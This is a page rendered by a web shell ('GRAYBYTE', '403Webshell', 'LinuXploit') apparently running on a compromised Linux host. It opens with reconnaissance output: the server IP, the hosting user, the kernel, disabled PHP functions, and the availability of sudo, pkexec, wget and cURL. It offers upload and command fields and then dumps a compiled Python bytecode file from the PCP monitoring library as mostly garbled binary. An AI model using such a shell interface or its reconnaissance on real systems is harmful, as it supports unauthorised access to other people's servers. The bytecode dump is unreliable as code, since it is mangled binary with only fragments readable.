- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.118.184.76
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python3.6/site-packages/pcp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.6/site-packages/pcp/__pycache__/pmcc.cpython-36.pyc
3

4>�fqc�@s�dZddlZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
ddlmZmZmZmZmZmZmZmZGdd�de�ZGdd	�d	e�ZGd
d�de	�ZGdd
�d
e�ZGdd�de�ZGdd�dee�ZdS)zA Convenience Classes building on the base PMAPI extension module �N)�c_int�c_uint�c_char_p�cast�POINTER)�	pmContext�pmValue�pmDesc�pmErr�timeval)�PM_CONTEXT_HOST�PM_CONTEXT_ARCHIVE�
PM_INDOM_NULL�
PM_IN_NULL�
PM_ID_NULL�PM_SEM_COUNTER�
PM_ERR_EOL�PM_TYPE_DOUBLEc@seZdZdZdd�ZdS)�
MetricCorea
    Core metric information that can be queried from the PMAPI
    PMAPI metrics are unique by name, and MetricCores should be also
    rarely, some PMAPI metrics with different names might have identical PMIDs
    PMAPI metrics are unique by (name) and by (name,pmid) - _usually_ by (pmid)
    too.  Note that names here (and only here) are stored as byte strings for
    direct PMAPI access.  All dictionaries/caching strategies built using the
    core structure use native strings (i.e., not byte strings in python3).
    cCs<||_t|t�s|jd�}||_||_d|_d|_d|_dS)Nzutf-8)	�ctx�
isinstance�bytes�encode�name�pmid�desc�text�help)�selfrrr�r�/usr/lib64/python3.6/pmcc.py�__init__+s

zMetricCore.__init__N)�__name__�
__module__�__qualname__�__doc__r!rrrr r s	rc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zeed0d0d0�Zeed0d0d0�Zeed0d0d0�Zeed0d0d0�Zee	d0d0d0�Z ee
d0d0d0�Z!eeed0d0�Z"eed0d0d0�Z#eeed0d0�Z$eeed0d0�Z%eed0d0d0�Z&eed0d0d0�Z'eed0d0d0�Z(eed0d0d0�Z)d1d2�Z*d3d4�Z+d0S)5�Metricz�
    Additional metric information, such as conversion factors and values
    several instances of Metric may share a MetricCore instance
    cCsL||_d|_d|_d|_d|_|jjj|_d|_	d|_
d|_d|_d|_
dS)N)�_core�_vset�_values�	_prevvset�_prevValuesr�contents�type�	_convType�
_convUnits�_errorStatus�
_netValues�_netPrevValuesZ_netConvertedValues)r�corerrr r!?szMetric.__init__cCs|jjS)N)r'r)rrrr �_R_ctxOsz
Metric._R_ctxcCs|jjj�S)N)r'r�decode)rrrr �_R_nameQszMetric._R_namecCs|jjS)N)r'r)rrrr �_R_pmidSszMetric._R_pmidcCs|jjS)N)r'r)rrrr �_R_descUszMetric._R_desccCs|jjS)N)r'r)rrrr �_R_textWszMetric._R_textcCs|jjS)N)r'r)rrrr �_R_helpYszMetric._R_helpcCst|jjtt��}||S)z% Return the vlist[vlist_idx] of vset )rr,Zvlistrr)r�vset�	vlist_idxZlistptrrrr �	get_vlist\szMetric.get_vlistcCs|j||�jS)z. Return the inst for vlist[vlist_idx] of vset )r=�inst)rr;r<rrr �get_instaszMetric.get_instcCs�|}|j}|j|jjj�}g}x�t|j�D]�}|j||�}y||j}Wnt	k
r`d}YnX|jj
|j||jj|j
�}	|jr�tt�d�}
|j|
d<|jj|j
|	|
d|j�}	|	j|j
�}|j|||f�q*W|S)zj Extract the value for a singleton or list of instances
            as a triple (inst, name, val)
        ��r)r�
mcGetInstDrr,�indom�range�numvalr=r>�KeyError�pmExtractValue�valfmtr-r.r/rr	�pmConvScale�dref�append)rZinValuesr;r�instD�valL�i�instvalr�outAtomr�valuerrr �
computeValueses(


zMetric.computeValuescCsV||jkr$|j||�}||jkr$|Sx,t|j�D]}|j||�}||jkr0|Sq0WdS)z2 Find a metric instance in the previous resultset N)rEr=r>rD)r�indexr>�pvset�pinstvalZpirrr �_find_previous_instval~s


zMetric._find_previous_instvalcCs^|jjtkr|j|�S|dkr"dS|}|}|j}|j|jjj�}g}�xt|j	�D�]}	|j
||	�}
|j|	|
j|�}|dkr~qRy||
j}Wnt
k
r�d}YnX|jj|j|
|jjt�}
|jj|j||jjt�}|j�r"tt�d�}|j|d<|jjt|
|d|j�}
|jjt||d|j�}|
jt�}|jt�}||krR|j|
||||f�qRW|S)z� Extract the value for a singleton or list of instances as a
            triple (inst, name, val) for COUNTER metrics with the value
            delta calculation applied (for rate conversion).
        Nr@rAr)r�semrrRrrBr,rCrDrEr=rVr>rFrGrHr-rr/rr	rIrJrK)r�values�
prevValues�deltarTr;rrLrMrNrOrUrrPZpoutAtomrrQZpvaluerrr �
convertValues�sD






zMetric.convertValuescCs|jS)N)r))rrrr �	_R_values�szMetric._R_valuescCs|jS)N)r+)rrrr �
_R_prevValues�szMetric._R_prevValuescCs|jS)N)r.)rrrr �_R_convType�szMetric._R_convTypecCs|jS)N)r/)rrrr �_R_convUnits�szMetric._R_convUnitscCs|jS)N)r0)rrrr �_R_errorStatus�szMetric._R_errorStatuscCs|jS)N)�_netConvValues)rrrr �_R_netConvValues�szMetric._R_netConvValuescCs|js
dS|j|j�|_|jS)N)r*rRr2)rrrr �_R_netPrevValues�szMetric._R_netPrevValuescCs|js
dS|j|j�|_|jS)N)r(rRr1)rrrr �_R_netValues�szMetric._R_netValuescCs |j|_||_|j|_d|_dS)N)r)�_prevZ	_netValueZ_netPrev)rrXrrr �	_W_values�szMetric._W_valuescCs
||_dS)N)r.)rrQrrr �_W_convType�szMetric._W_convTypecCs
||_dS)N)r/)rrQrrr �_W_convUnits�szMetric._W_convUnitsNcCsR|jj|jj�}tdd|�|jj|jj�}x |jD]\}}}td||�q4WdS)Nz   zindom:)rZ
pmInDomStrrrC�printrB�	netValues)rZindomstr�_r�valrrr �metricPrint�s
zMetric.metricPrintcCs|j|j|j|�}||_|jS)N)r[r(r*ra)rrZZ
convertedListrrr �
metricConvert�szMetric.metricConvert),r"r#r$r%r!r4r6r7r8r9r:r=r?rRrVr[r\r]r^r_r`rbrcrdrfrgrh�propertyrrrrrrrXrYZconvTypeZ	convUnitsZerrorStatusrjZ
netPrevValuesZ
netConvValuesrmrnrrrr r&6sP(r&c@sFeZdZdZedfdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dS)�MetricCachea}
    A cache of MetricCores is kept to reduce calls into the PMAPI library
    this also slightly reduces the memory footprint of Metric instances
    that share a common MetricCore
    a cache of instance domain information is also kept, which further
    reduces calls into the PMAPI and reduces the memory footprint of
    Metric objects that share a common instance domain
    zlocal:cCs0tj|||�i|_i|_i|_d|_d|_dS)Nr)rr!�	_mcIndomD�
_mcByNameD�
_mcByPmidD�
_mcCounter�
_mcMetrics)r�typed�targetrrr r!szMetricCache.__init__cCs
|j|S)z/ Query the instance : instance_list dictionary )rq)rrCrrr rBszMetricCache.mcGetInstDcCs�|jjj}||jkr�t|�jtt�jkr2tdi}nP|jt	krN|j
|j�\}}n|j|j�\}}|dk	r~|dk	r~tt
||��}ni}|jj||i�|jjjtkr�|jd7_|jd7_|jj|jj�|i�|jj|j|i�dS)z Update the dictionary s
PM_IN_NULLNrA)rr,rCrqrrQrrZ_typer
ZpmGetInDomArchiveZ
pmGetInDom�dict�zip�updaterWrrtrurrrr5rsr)rr3rCZinstmapZinstL�nameLrrr �_mcAdds 



zMetricCache._mcAddcCs�g}d}d}xVt|�D]J\}}t|t�r0|j�}|jj|�}|sV|sHi}|j||i�|j|�qW|r�|j|j	��\}}xD|D]<\}}	|	t
kr�|s�g}|j|�q�|j||	�}
|
|||<q�W||fS)z3 Update the core (metric id, description,...) list N)�	enumeraterrr5rr�getrzrK�mcFetchPmids�keysr�
_mcCreateCore)rr{�coreLZmissD�errLrSrr3ZidLr�newcorerrr �mcGetCoresByName+s,
zMetricCache.mcGetCoresByNamecCsvt|||�}y|j|�|_WnJtk
rf}z.d|j�|j�f}tjj|�t	d��WYdd}~XnX|j
|�|S)z Update the core description z%s: pmLookupDesc: %srAN)rZpmLookupDescrr
�progname�message�sys�stderr�write�
SystemExitr|)rrrr��error�failrrr r�Ns
zMetricCache._mcCreateCorec
Cs�d}tt|��}x4t|�D](\}}t|t�s8|jd�}t|�||<qWyJ|j|�}t|�t|�kr�dt|�t|�f}tjj	d|�t
d��WnJtk
r�}z.d|j�|j
�f}	tjj	|	�t
d��WYdd}~XnXt||�|fS)zD Update the core metric ids.  note: some names have identical pmids Nzutf-8z%d of %d metric nameszCannot resolve %srAz%s: pmLookupName: %s)r�lenr}rrr�pmLookupNamer�r�r�r�r
r�r�ry)
rr{r��nameArSr�	pmidArray�missingr�r�rrr r\s"


zMetricCache.mcFetchPmidsN)r"r#r$r%rr!rBr|r�r�rrrrr rp�s#rpc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zeeddd�Z
eeddd�Zeeddd�Zeeedd�Zeeddd�Zee
ddd�Zee	ddd�Zgfdd�Zdd�Zdd�Zdd�Zdd�ZdS)�MetricGroupa�
    Manages a group of metrics for fetching the values of
    a MetricGroup is a dictionary of Metric objects, for which data can
    be fetched from a target system using a single call to pmFetch
    the Metric objects are indexed by the metric name
    pmFetch fetches data for a list of pmIDs, so there is also a shadow
    dictionary keyed by pmID, along with a shadow list of pmIDs
    cCs|jS)N)�_ctx)rrrr �_R_contextCacheszMetricGroup._R_contextCachecCs|jj|jjkS)N)r�rtru)rrrr �_R_nonCounters�szMetricGroup._R_nonCounterscCs|jS)N)�
_pmidArray)rrrr �_R_pmidArray�szMetricGroup._R_pmidArraycCs
|jjjS)N)�_resultr,�	timestamp)rrrr �_R_timestamp�szMetricGroup._R_timestampcCs|jS)N)r�)rrrr �	_R_result�szMetricGroup._R_resultcCs
|jjjS)N)rer,r�)rrrr �_R_prevTimestamp�szMetricGroup._R_prevTimestampcCs|jS)N)re)rrrr �_R_prev�szMetricGroup._R_prevcCs|j|_||_dS)N)r�re)rZpmresultrrr �	_W_result�szMetricGroup._W_resultNcCs6tj|�||_d|_d|_d|_i|_|j|�dS)N)rxr!r�r�r�re�_altD�mgAdd)r�contextCache�inLrrr r!�s
zMetricGroup.__init__cCs*||krtd��tj||t||d��dS)Nz)metric group with that key already exists)r�)rFrx�__setitem__r�)r�attrrQrrr r��szMetricGroup.__setitem__c	Cs�|jj|�\}}x6|D].}t|�}|j|j|i�|jj|j|i�qWt|�}t|�|_	x,t
|j��D]\}}t||j�|j	|<qjWdS)z Create the list of Metric(s) N)r�r�r&rzrr�rr�rr�r}r�)	rr{r�rkr3Zmetric�n�x�keyrrr r��s
zMetricGroup.mgAddcCs�yp|jj|j�|_|jj}xRt|jjj�D]@}|jjj|�}|jjj|�}|j	|j
|j	|_||j	|_
q*WWn`tk
r�}zD|j
dtkr�td��d|j�|j�f}tjj|�td��WYdd}~XnX|jS)zl
        Fetch the list of Metric values.  Save the old value.
        Return the result timestamp.
        rz%s: pmFetch: %srAN)r�ZpmFetchr��resultr,rDZnumpmidZget_pmidZget_vsetr�r(r*r
�argsrr�r�r�r�r�r�r�)rr�rNrr;r�r�rrr �mgFetch�szMetricGroup.mgFetchcCs(|jdk	rt|j�}nd}t|j�|S)z�
        Sample delta - used for rate conversion calculations, which
        requires timestamps from successive samples.
        Ng)re�float�
prevTimestampr�)rr�rrr �mgDelta�s
zMetricGroup.mgDelta)r"r#r$r%r�r�r�r�r�r�r�r�ror��nonCountersr�r�r��prevr�r!r�r�r�r�rrrr r�rs*	r�c@s eZdZdZdd�Zdd�ZdS)�MetricGroupPrintera
    Handles reporting of MetricGroups within a GroupManager.
    This object is called upon at the end of each fetch when
    new values are available.  It is also responsible for
    producing any initial (or on-going) header information
    that the tool may wish to report.
    cCs<x6|j�D]*}||}x|j�D]}||j�q Wq
WdS)z0 Base implementation, all tools should override N)r�rm)r�manager�
group_name�group�metric_namerrr �report�szMetricGroupPrinter.reportcCsFx@|j�D]4}||}|j�}x|j�D]}||j|�q(Wq
WdS)z1 Do conversion for all metrics across all groups N)r�r�rn)rr�r�r�rZr�rrr �convert�s
zMetricGroupPrinter.convertN)r"r#r$r%r�r�rrrr r��sr�c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zeeedd�Z
eeedd�Zeee	dd�Zede
dd�Zeeddd�Zedfdd�Zdd�Zedd��Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�ZdS)&�MetricGroupManagerz�
    Manages a dictionary of MetricGroups which can be pmFetch'ed
    inherits from MetricCache, which inherits from pmContext
    cCs|jS)N)�_options)rrrr �
_R_optionsszMetricGroupManager._R_optionscCs
||_dS)N)r�)r�optionsrrr �
_W_optionsszMetricGroupManager._W_optionscCs|jS)N)�_default_delta)rrrr �_R_default_delta
sz#MetricGroupManager._R_default_deltacCs
||_dS)N)r�)rrZrrr �_W_default_deltasz#MetricGroupManager._W_default_deltacCs|jS)N)�_default_pause)rrrr �_R_default_pausesz#MetricGroupManager._R_default_pausecCs
||_dS)N)r�)r�pauserrr �_W_default_pausesz#MetricGroupManager._W_default_pausecCs
||_dS)N)�_printer)r�printerrrr �
_W_printerszMetricGroupManager._W_printercCs|jS)N)�_counter)rrrr �
_R_counterszMetricGroupManager._R_counterNzlocal:cCs@tj|�tj|||�d|_tdd�|_d|_d|_d|_dS)NrAr)	rxr!rpr�rr�r�r�r�)rrvrwrrr r!%s
zMetricGroupManager.__init__cCs*||krtd��tj||t||d��dS)Nz)metric group with that key already exists)r�)rFrxr�r�)rr�rQrrr r�.szMetricGroupManager.__setitem__cCs$|j||�}t|jd�|_||_|S)z8 Helper interface, simple PCP monitor argument parsing. r)ZfromOptionsrrZr�r�)�clsr��argvr�rrr �builder3szMetricGroupManager.buildercCs$|dkrdSt|j�t|j�dS)z- convert timeval to epoch seconds as a float Ngg��.A)r�Ztv_secZtv_usec)rZtvrrr �	_tv2float>szMetricGroupManager._tv2floatc	Cs�|jdkrdSd}x|j�D]}||jrd}qW|jj�}|dk	rP||dfS|jj�dkrbdS|jj�}|jj�}|jj�}|dkr�|j}|j	|�}|j	|�|j	|�|}t
|d�||fS)a Return the number of samples we are to take and the
            finish time, or 0,0 if --finish is not specified.
            This is based on command line options --samples but also
            must consider --start, --finish and --interval.  If none
            of these were presented, a zero return means "infinite".
            Also consider whether the utility needs rate-conversion,
            automatically increasing the sample count to accommodate
            when counters metrics are present.
        NrrAg�?)rN)rN)r�r�r�ZpmGetOptionSamplesZpmGetOptionFinishOptargZpmGetOptionOriginZpmGetOptionFinish�pmGetOptionIntervalr�r��int)	rZextrar��samples�origin�finishrZZperiodZwindowrrr �_computeSamplesDs&







z"MetricGroupManager._computeSamplescCsd|jdk	r|jS|jtkr(tdd�|_n6|jdk	rV|jj�}|dk	rL||_q^|j|_n|j|_|jS)aV Figure out how long to sleep between samples.
            This needs to take into account whether we were explicitly
            asked for a delay (independent of context type, --pause),
            whether this is an archive or live context, and the sampling
            --interval (including the default value, if none requested).
        Nr)r�r-r
rr�r�r�)rr�rrr �_computePauseTimecs




z$MetricGroupManager._computePauseTimecCs�g}tt|��}x4t|�D](\}}t|t�s8|jd�}t|�||<qWytj||�Wn^tk
r�xHt|�D]<\}}ytj||�Wqrtk
r�|j	||�YqrXqrWYnX|s�dS|S)z�
        Return a list of metrics that are missing from the default context.
        This is usually only applicable when replaying archives.
        Return None if all found, else a list of missing metric names.
        zutf-8N)
rr�r}rrrrr�r
rK)rr{r�r�rNr�rrr �checkMissingMetricsxs"

z&MetricGroupManager.checkMissingMetricscCsNd}d}x@|j�D]4}||j�}|dks8|j|�|kr|}|j|�}qW|S)z/ Perform fetch operation on all of the groups. Ng)r�r�r�)rZ	fetchtimeZrmaxr�Zstamprrr �fetch�szMetricGroupManager.fetchcCs�|j�\}}|j�}yv|j�}xh|j|ko4dknr<P|dk	rZ|j|�|j|�krZP|jj|�|j�|j�}|jd7_q WWn2tk
r�}z|Sd}~Xnt	k
r�YnXdS)av Using options specification, loop fetching and reporting,
            pausing for the requested time interval between updates.
            Transparently handles archive/live mode differences.
            Note that this can be different to the sampling interval
            in archive mode, but is usually the same as the sampling
            interval in live mode.
        rNrA)
r�r�r�r�r�r�r�Zsleepr��KeyboardInterrupt)rr�r�ZtimerZcurtime�coderrr �run�s$zMetricGroupManager.run)r"r#r$r%r�r�r�r�r�r�r�r�ror�Z
default_deltaZ
default_pauser�Zcounterrr!r��classmethodr�r�r�r�r�r�r�rrrr r��s.	r�)r%r�ZctypesrrrrrZ	pcp.pmapirrr	r
rZcpmapirr
rrrrrr�objectrr&rprxr�r�r�rrrr �<module>s(B{q

Youez - 2016 - github.com/yon3zu
LinuXploit